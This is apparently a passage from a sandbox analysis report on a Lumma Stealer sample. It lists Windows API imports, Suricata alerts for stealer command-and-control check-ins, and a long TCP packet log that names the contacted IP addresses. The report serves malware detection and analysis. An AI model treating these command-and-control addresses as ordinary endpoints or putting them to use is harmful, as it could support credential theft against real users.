MultiByteToWideChar, GetStringTypeW, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetCPInfo, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, CreateFileW, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, HeapAlloc, HeapFree, GetFileType, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileSizeEx, SetFilePointerEx, CloseHandle, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetProcessHeap, ReadConsoleW, HeapSize, WriteConsoleW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-07T06:44:04.900803+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49705	104.21.17.192	443	TCP
2024-10-07T06:44:04.900803+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	104.21.17.192	443	TCP
2024-10-07T06:44:05.507503+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49706	188.114.97.3	443	TCP
2024-10-07T06:44:05.507503+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49706	188.114.97.3	443	TCP
2024-10-07T06:44:06.468900+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49707	188.114.97.3	443	TCP
2024-10-07T06:44:06.468900+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49707	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 06:43:59.094585896 CEST	49673	443	192.168.2.5	23.1.237.91
Oct 7, 2024 06:44:02.475408077 CEST	49705	443	192.168.2.5	104.21.17.192
Oct 7, 2024 06:44:02.475441933 CEST	443	49705	104.21.17.192	192.168.2.5
Oct 7, 2024 06:44:02.475541115 CEST	49705	443	192.168.2.5	104.21.17.192
Oct 7, 2024 06:44:02.477056980 CEST	49705	443	192.168.2.5	104.21.17.192
Oct 7, 2024 06:44:02.477072954 CEST	443	49705	104.21.17.192	192.168.2.5
Oct 7, 2024 06:44:02.959760904 CEST	443	49705	104.21.17.192	192.168.2.5
Oct 7, 2024 06:44:02.959835052 CEST	49705	443	192.168.2.5	104.21.17.192
Oct 7, 2024 06:44:02.963624954 CEST	49705	443	192.168.2.5	104.21.17.192
Oct 7, 2024 06:44:02.963641882 CEST	443	49705	104.21.17.192	192.168.2.5
Oct 7, 2024 06:44:02.964050055 CEST	443	49705	104.21.17.192	192.168.2.5
Oct 7, 2024 06:44:03.010196924 CEST	49705	443	192.168.2.5	104.21.17.192
Oct 7, 2024 06:44:03.010237932 CEST	49705	443	192.168.2.5	104.21.17.192
Oct 7, 2024 06:44:03.010376930 CEST	443	49705	104.21.17.192	192.168.2.5
Oct 7, 2024 06:44:04.900825024 CEST	443	49705	104.21.17.192	192.168.2.5
Oct 7, 2024 06:44:04.900930882 CEST	443	49705	104.21.17.192	192.168.2.5
Oct 7, 2024 06:44:04.900980949 CEST	49705	443	192.168.2.5	104.21.17.192
Oct 7, 2024 06:44:04.903008938 CEST	49705	443	192.168.2.5	104.21.17.192
Oct 7, 2024 06:44:04.903036118 CEST	443	49705	104.21.17.192	192.168.2.5
Oct 7, 2024 06:44:04.903053999 CEST	49705	443	192.168.2.5	104.21.17.192
Oct 7, 2024 06:44:04.903062105 CEST	443	49705	104.21.17.192	192.168.2.5
Oct 7, 2024 06:44:04.920972109 CEST	49706	443	192.168.2.5	188.114.97.3
Oct 7, 2024 06:44:04.921032906 CEST	443	49706	188.114.97.3	192.168.2.5
Oct 7, 2024 06:44:04.921118021 CEST	49706	443	192.168.2.5	188.114.97.3
Oct 7, 2024 06:44:04.921452045 CEST	49706	443	192.168.2.5	188.114.97.3
Oct 7, 2024 06:44:04.921469927 CEST	443	49706	188.114.97.3	192.168.2.5
Oct 7, 2024 06:44:05.386944056 CEST	443	49706	188.114.97.3	192.168.2.5
Oct 7, 2024 06:44:05.387166023 CEST	49706	443	192.168.2.5	188.114.97.3
Oct 7, 2024 06:44:05.390773058 CEST	49706	443	192.168.2.5	188.114.97.3
Oct 7, 2024 06:44:05.390789986 CEST	443	49706	188.114.97.3	192.168.2.5
Oct 7, 2024 06:44:05.391041994 CEST	443	49706	188.114.97.3	192.168.2.5
Oct 7, 2024 06:44:05.392560959 CEST	49706	443	192.168.2.5	188.114.97.3
Oct 7, 2024 06:44:05.392590046 CEST	49706	443	192.168.2.5	188.114.97.3
Oct 7, 2024 06:44:05.392625093 CEST	443	49706	188.114.97.3	192.168.2.5
Oct 7, 2024 06:44:05.507520914 CEST	443	49706	188.114.97.3	192.168.2.5
Oct 7, 2024 06:44:05.507570982 CEST	443	49706	188.114.97.3	192.168.2.5
Oct 7, 2024 06:44:05.507599115 CEST	443	49706	188.114.97.3	192.168.2.5
Oct 7, 2024 06:44:05.507615089 CEST	49706	443	192.168.2.5	188.114.97.3
Oct 7, 2024 06:44:05.507622957 CEST	443	49706	188.114.97.3	192.168.2.5
Oct 7, 2024 06:44:05.507652044 CEST	443	49706	188.114.97.3	192.168.2.5
Oct 7, 2024 06:44:05.507668018 CEST	49706	443	192.168.2.5	188.114.97.3
Oct 7, 2024 06:44:05.507710934 CEST	443	49706	188.114.97.3	192.168.2.5
Oct 7, 2024 06:44:05.507749081 CEST	49706	443	192.168.2.5	188.114.97.3
Oct 7, 2024 06:44:05.508419991 CEST	49706	443	192.168.2.5	188.114.97.3
Oct 7, 2024 06:44:05.508438110 CEST	443	49706	188.114.97.3	192.168.2.5
Oct 7, 2024 06:44:05.508451939 CEST	49706	443	192.168.2.5	188.114.97.3
Oct 7, 2024 06:44:05.508457899 CEST	443	49706	188.114.97.3	192.168.2.5
Oct 7, 2024 06:44:05.582695007 CEST	49707	443	192.168.2.5	188.114.97.3
Oct 7, 2024 06:44:05.582746983 CEST	443	49707	188.114.97.3	192.168.2.5
Oct 7, 2024 06:44:05.582827091 CEST	49707	443	192.168.2.5	188.114.97.3
Oct 7, 2024 06:44:05.583174944 CEST	49707	443	192.168.2.5	188.114.97.3
Oct 7, 2024 06:44:05.583185911 CEST	443	49707	188.114.97.3	192.168.2.5
Oct 7, 2024 06:44:06.048207998 CEST	443	49707	188.114.97.3	192.168.2.5
Oct 7, 2024 06:44:06.048290968 CEST	49707	443	192.168.2.5	188.114.97.3
Oct 7, 2024 06:44:06.049973011 CEST	49707	443	192.168.2.5	188.114.97.3
Oct 7, 2024 06:44:06.049982071 CEST	443	49707	188.114.97.3	192.168.2.5
Oct 7, 2024 06:44:06.050221920 CEST	443	49707	188.114.97.3	192.168.2.5
Oct 7, 2024 06:44:06.051883936 CEST	49707	443	192.168.2.5	188.114.97.3
Oct 7, 2024 06:44:06.051925898 CEST	49707	443	192.168.2.5	188.114.97.3
Oct 7, 2024 06:44:06.051944971 CEST	443	49707	188.114.97.3	192.168.2.5
Oct 7, 2024 06:44:06.468907118 CEST	443	49707	188.114.97.3	192.168.2.5
Oct 7, 2024 06:44:06.469005108 CEST	443	49707	188.114.97.3	192.168.2.5
Oct 7, 2024 06:44:06.469126940 CEST	49707	443	192.168.2.5	188.114.97.3
Oct 7, 2024 06:44:06.469463110 CEST	49707	443	192.168.2.5	188.114.97.3
Oct 7, 2024 06:44:06.469481945 CEST	443	49707	188.114.97.3	192.168.2.5
Oct 7, 2024 06:44:06.469496012 CEST	49707	443	192.168.2.5	188.114.97.3
Oct 7, 2024 06:44:06.469501019 CEST	443	49707	188.114.97.3	192.168.2.5
Oct 7, 2024 06:44:08.703907013 CEST	49673	443	192.168.2.5	23.1.237.91
Oct 7, 2024 06:44:10.372181892 CEST	443	49704	23.1.237.91	192.168.2.5
Oct 7, 2024 06:44:10.372287989 CEST	49704	443	192.168.2.5	23.1.237.91
Oct 7, 2024 06:44:16.796900034 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:16.796950102 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:16.797087908 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:16.797446966 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:16.797461987 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.443996906 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.444122076 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.449162006 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.449167967 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.449603081 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.458698034 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.499408007 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.558955908 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.559001923 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.559026003 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.559231043 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.559241056 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.559293985 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.641973972 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.642010927 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.642132044 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.642139912 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.642199993 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.644594908 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.644618034 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.644711018 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.644716978 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.644737959 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.644757032 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.728353024 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.728382111 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.728506088 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.728518009 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.728575945 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.728852987 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.728878975 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.729044914 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.729049921 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.729104042 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.729799986 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.729827881 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.729872942 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.729877949 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.729918003 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.730530024 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.730566025 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.730595112 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.730600119 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.730624914 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.730647087 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.815026045 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.815072060 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.815191984 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.815201998 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.815260887 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.815445900 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.815469980 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.815506935 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.815511942 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.815566063 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.815839052 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.815859079 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.815908909 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.815913916 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.815949917 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.816201925 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.816239119 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.816267014 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.816272020 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.816297054 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.816318989 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.816605091 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.816626072 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.816677094 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.816682100 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.816724062 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.817073107 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.817096949 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.817130089 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.817133904 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.817157984 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.817181110 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.817183971 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.817195892 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.817219973 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.817264080 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.817267895 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.817286015 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.817311049 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.817344904 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.817584991 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.817600965 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.817614079 CEST	49715	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.817620993 CEST	443	49715	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.862580061 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.862627029 CEST	49716	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.862644911 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.862675905 CEST	443	49716	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.862760067 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.862762928 CEST	49716	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.862916946 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.862936020 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.863015890 CEST	49716	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.863025904 CEST	443	49716	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.864272118 CEST	49718	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.864301920 CEST	443	49718	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.864347935 CEST	49718	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.864453077 CEST	49718	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.864464045 CEST	443	49718	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.865428925 CEST	49719	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.865437984 CEST	443	49719	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.865478992 CEST	49719	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.866064072 CEST	49720	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.866106033 CEST	443	49720	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.866148949 CEST	49720	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.866163969 CEST	49719	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.866170883 CEST	443	49719	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:17.866255045 CEST	49720	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:17.866269112 CEST	443	49720	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.501732111 CEST	443	49719	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.502295971 CEST	49719	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.502334118 CEST	443	49719	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.502643108 CEST	49719	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.502655029 CEST	443	49719	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.509840965 CEST	443	49716	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.510251999 CEST	49716	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.510258913 CEST	443	49716	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.510535955 CEST	49716	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.510540009 CEST	443	49716	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.515460014 CEST	443	49720	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.515764952 CEST	49720	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.515818119 CEST	443	49720	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.516099930 CEST	49720	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.516112089 CEST	443	49720	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.523562908 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.523976088 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.524025917 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.524388075 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.524399042 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.543823004 CEST	443	49718	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.544393063 CEST	49718	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.544418097 CEST	443	49718	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.544755936 CEST	49718	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.544766903 CEST	443	49718	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.601166010 CEST	443	49719	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.601241112 CEST	443	49719	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.601337910 CEST	49719	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.601567030 CEST	49719	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.601586103 CEST	443	49719	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.601598978 CEST	49719	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.601604939 CEST	443	49719	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.604639053 CEST	49722	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.604680061 CEST	443	49722	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.604763031 CEST	49722	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.604939938 CEST	49722	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.604949951 CEST	443	49722	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.611936092 CEST	443	49716	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.611999035 CEST	443	49716	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.612052917 CEST	49716	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.612061977 CEST	443	49716	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.612101078 CEST	49716	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.612124920 CEST	443	49716	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.612162113 CEST	49716	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.612168074 CEST	443	49716	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.612184048 CEST	49716	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.612184048 CEST	49716	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.612189054 CEST	443	49716	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.612195015 CEST	443	49716	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.614378929 CEST	49723	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.614435911 CEST	443	49723	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.614516973 CEST	49723	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.614634991 CEST	49723	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.614650965 CEST	443	49723	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.615206957 CEST	443	49720	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.615227938 CEST	443	49720	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.615281105 CEST	49720	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.615293026 CEST	443	49720	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.615371943 CEST	49720	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.615381956 CEST	443	49720	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.615403891 CEST	443	49720	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.615406036 CEST	49720	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.615418911 CEST	443	49720	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.617393017 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.617427111 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.617489100 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.617594004 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.617607117 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.627052069 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.627105951 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.627166033 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.627307892 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.627327919 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.627348900 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.627355099 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.629416943 CEST	49725	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.629453897 CEST	443	49725	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.629523993 CEST	49725	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.629630089 CEST	49725	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.629640102 CEST	443	49725	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.655654907 CEST	443	49718	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.655677080 CEST	443	49718	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.655714989 CEST	443	49718	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.655769110 CEST	49718	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.655806065 CEST	49718	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.656047106 CEST	49718	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.656064034 CEST	443	49718	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.656075001 CEST	49718	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.656081915 CEST	443	49718	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.659054995 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.659065008 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:18.659128904 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.659274101 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:18.659281969 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.239147902 CEST	443	49722	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.239603043 CEST	49722	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.239614010 CEST	443	49722	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.240215063 CEST	49722	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.240220070 CEST	443	49722	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.256103039 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.256565094 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.256577969 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.257064104 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.257070065 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.274262905 CEST	443	49725	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.274743080 CEST	49725	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.274753094 CEST	443	49725	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.275309086 CEST	49725	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.275312901 CEST	443	49725	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.277378082 CEST	443	49723	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.277753115 CEST	49723	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.277791023 CEST	443	49723	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.278321981 CEST	49723	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:19.278333902 CEST	443	49723	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.326829910 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:19.330763102 CEST	49726	443	192.168.2.5	13.107.246.45
